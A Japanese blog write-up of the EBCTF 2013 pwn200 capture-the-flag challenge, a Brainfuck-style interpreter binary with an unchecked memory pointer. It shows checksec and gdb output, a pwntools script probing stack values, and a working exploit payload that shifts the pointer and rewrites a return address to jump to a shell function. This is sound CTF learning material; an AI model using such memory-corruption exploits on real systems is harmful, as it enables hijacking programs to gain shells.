読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

EBCTF 2013 pwn200

pwn list pwn list baby

これは32bit-ELFで、pwnというよりもrevというふうにとらえることができる問題だった。とにかくswitch分が多いためどういった文字を打ったらswitch文に入り、どういった処理をするのかを見るような問題だった。どのような文字がどういった処理をするかは実際に文字を打ってデバッグで見たほうが早いかもしれない。(私の場合はそうした)
ではさっそく問題を見てみよう。

shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: a

THANKS FOR SUPPORTING US WITH YOUR BRAIN!
shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
0x0000000c

THANKS FOR SUPPORTING US WITH YOUR BRAIN!
shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
0x0000000c
Segmentation fault (コアダンプ)

私はこの実行の段階では普通にBOFさせるのかな?という認識しかなかった。「なんかメモリの値をだしているのなぁ」とは思いつつも、BOFさせてreturnアドレスを書き換えて終わりかな。とりあえず、セキュリティチェック

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

今回はどうやらshellcodeは使うことができないらしい。ということは必然的にsystem関数を使うことになりそうだが、実行ファイルには使われているのだろうか?そう思って実行ファイルの逆アセンブルを見てみた。すると・・・

08048a6e <shell>:
 8048a6e:   55                     push   ebp
 8048a6f:   89 e5                  mov    ebp,esp
 8048a71:   83 ec 18              sub    esp,0x18
 8048a74:   c7 04 24 98 8c 04 08   mov    DWORD PTR [esp],0x8048c98
 8048a7b:   e8 50 fa ff ff         call   80484d0 <system@plt>
 8048a80:   c9                      leave  
 8048a81:   c3                      ret    

どうやらshellを起動させるような関数がもうすでに用意されているらしい。あとはSSPが無効になっているのでreturnを書き換えればいいのかなと思ってデバッグをしてみることにした。

[-------------------------------------code-------------------------------------]
   0x8048a5d <bf_main+1105>: jmp    0x8048a60 <bf_main+1108>
   0x8048a5f <bf_main+1107>: nop
   0x8048a60 <bf_main+1108>: mov    eax,0x0
=> 0x8048a65 <bf_main+1113>: add    esp,0x4d4
   0x8048a6b <bf_main+1119>: pop    ebx
   0x8048a6c <bf_main+1120>: pop    ebp
   0x8048a6d <bf_main+1121>: ret    
   0x8048a6e <shell>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcbc0 --> 0x8048ba2 ("0x%08x\n")
0004| 0xffffcbc4 --> 0x7b1ea7c 
0008| 0xffffcbc8 --> 0x80 
0012| 0xffffcbcc --> 0x34 ('4')
0016| 0xffffcbd0 --> 0x34 ('4')
0020| 0xffffcbd4 --> 0x140 
0024| 0xffffcbd8 --> 0x140 
0028| 0xffffcbdc --> 0x5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 6, 0x08048a65 in bf_main ()
gdb-peda$ x/100wx $esp
0xffffcbc0:    0x08048ba2 0x07b1ea7c 0x00000080 0x00000034
0xffffcbd0:    0x00000034 0x00000140 0x00000140 0x00000005
0xffffcbe0:    0x00000004 0x00000003 0x0016b4d4 0x0016b4d4
0xffffcbf0:    0x0016b4d4 0x00000013 0x00000013 0x00000004
0xffffcc00:    0x00000001 0x00000001 0x00000000 0x00000000
0xffffcc10:    0x00000000 0x001a7a60 0x001a7a60 0x00000005
0xffffcc20:    0x00001000 0x00000001 0x001a81cc 0x001a91cc
0xffffcc30:    0x001a91cc 0x00002cf0 0x000058b0 0x00000006
0xffffcc40:    0x00001000 0x00000002 0x001a9da8 0x001aada8
0xffffcc50:    0x001aada8 0x000000f0 0x000000f0 0x00000006
0xffffcc60:    0x00000004 0x00000004 0x00000174 0x00000174
0xffffcc70:    0x00000174 0x00000044 0x00000044 0x00000004
0xffffcc80:    0x00000004 0x00000007 0x001a81cc 0x001a91cc
0xffffcc90:    0x001a91cc 0x00000008 0x0000004c 0x00000004
0xffffcca0:    0x00000004 0x6474e550 0x0016b4e8 0x0016b4e8
0xffffccb0:    0x0016b4e8 0x000074d4 0x000074d4 0x00000004
0xffffccc0:    0x00000004 0x6474e551 0x00000000 0x00000000
0xffffccd0:    0x00000000 0x00000000 0x00000000 0x00000006
0xffffcce0:    0x00000010 0x6474e552 0x001a81cc 0xf7ffd000
0xffffccf0:    0xffffcf68 0x00000000 0xffffcd28 0xf7fe890c
0xffffcd00:    0x00000000 0x00000000 0x00000000 0x00000003
0xffffcd10:    0x00554e47 0x56ee495a 0xf7e23049 0x00000000
0xffffcd20:    0x00000000 0xf7fe88c0 0xffffcf98 0xf7feac06
0xffffcd30:    0xffffcf68 0x00000000 0x00000000 0xf7ffd878
0xffffcd40:    0x00000000 0xffffcf64 0xffffcf60 0xf7fe4d9d

もはや、fgetsで400hまでの入力で、bufferのアドレスを移動させるのかと思ったがそういった動きもなかった。ということは入力からオーバーフローさせることは不可能に近いため、特定の入力に対して動きを見せるような実行ファイルだろうと見当をつけた。ということでさっそく逆アセンブルしていろいろ探ってみたが、どうやら、以下に示す文字だけ影響を与えるらしい。

43 + case 0 メモリの内容に1たす 
45 - case 1 メモリの内容に1ひく
62 > case 2 メモリのアドレスを4byteプラスに移動
60 < case 3 メモリのアドレスを4byteマイナスに移動
91 [ case 4 ???
93 ] case 5 ???
44 , case 6 メモリの内容を1byte入力した文字に変更
46 . case 7 現在指しているメモリの内容を出力

case文ごとに分けてみた逆アセンブルからわかることは、ある基数をもとにそれを4byteかけてメモリを移動するような形を基本としていた。しかし具体的には、case7以外はよくわからなかったので実際に動かしながら調べてみた。以下に一例を示す。

> GIVE ME SOMETHING TO DANCE FOR: +.+.+.+.
0x00000001
0x00000002
0x00000003
0x00000004

> GIVE ME SOMETHING TO DANCE FOR: -.-.-.-.
0x000000ff
0x000000fe
0x000000fd
0x000000fc

> GIVE ME SOMETHING TO DANCE FOR: >.>.>.>.
0x00000000
0x00000000
0x00000000
0x00000000

> GIVE ME SOMETHING TO DANCE FOR: <.<.<.<.<.
0xf7e1d474
0x08048353
0xf7fda858
0xf7fdab48
0x000008d6

> GIVE ME SOMETHING TO DANCE FOR: [.[.[.[.



> GIVE ME SOMETHING TO DANCE FOR: ].].].].] 

Program received signal SIGSEGV, Segmentation fault.
> GIVE ME SOMETHING TO DANCE FOR: ,.,.,.,.
A
0x00000041
0x0000000a
C
0x00000043
0x0000000a

どうやらこれらの文字を使って任意のメモリにある内容を書き換えてうまくシェルと起動させるような問題らしい。(発想的には面白くて好き)しかし、どちらかというとrev問題になっているような気がしないでもないため、好みは分かれそう。
とりあえず、EIPが指すようなメモリが存在しないか探し、それを上手くshell関数に飛ばせば終わりかな?とりあえず>か<の文字を使って探してみよう。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

for i in range(1,101):
    conn = process('./bf')
    buf = ">" * i + '.' + '\n'
    conn.recvuntil("FOR: ")
    conn.send(buf)
    print '%d:0x%08x'%(i, int(conn.recv(10), 16))
    conn.close()

EIPを探すようなコードを作ってみた。今回は>の文字列を使って1回目から100回目までを>の数を増やしながら試してみた。その結果をいかに示す。

shima@chino:~/workspace/pwn_list_baby/pwn200$ python search.py | grep '0x08048a' 
51:0x08048a9d
54:0x08048ab9
56:0x08048ab0
88:0x08048a82
91:0x08048ab0

どうやら100番目以下しかメモリの操作はできなさそう。その中からEIPが指す。ものを探してみると以下のようなものがあるらしい。
とりあえず今回は確実に使うであろう51番目のEIPアドレスをshell関数に変更するようなコードを書いてみることにする。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./bf')

conn = process('./bf')

payload = '>'*51
payload += '-'*47
payload += '\n'
conn.recvuntil(' FOR: ')
conn.send(payload)
conn.interactive()

コード短すぎィ!まず最初に51番目に移動してから、内容を47減らしてEIPアドレスをshell関数のアドレスに合わせるようにした。
【総評】revできなかったら死にたくなる問題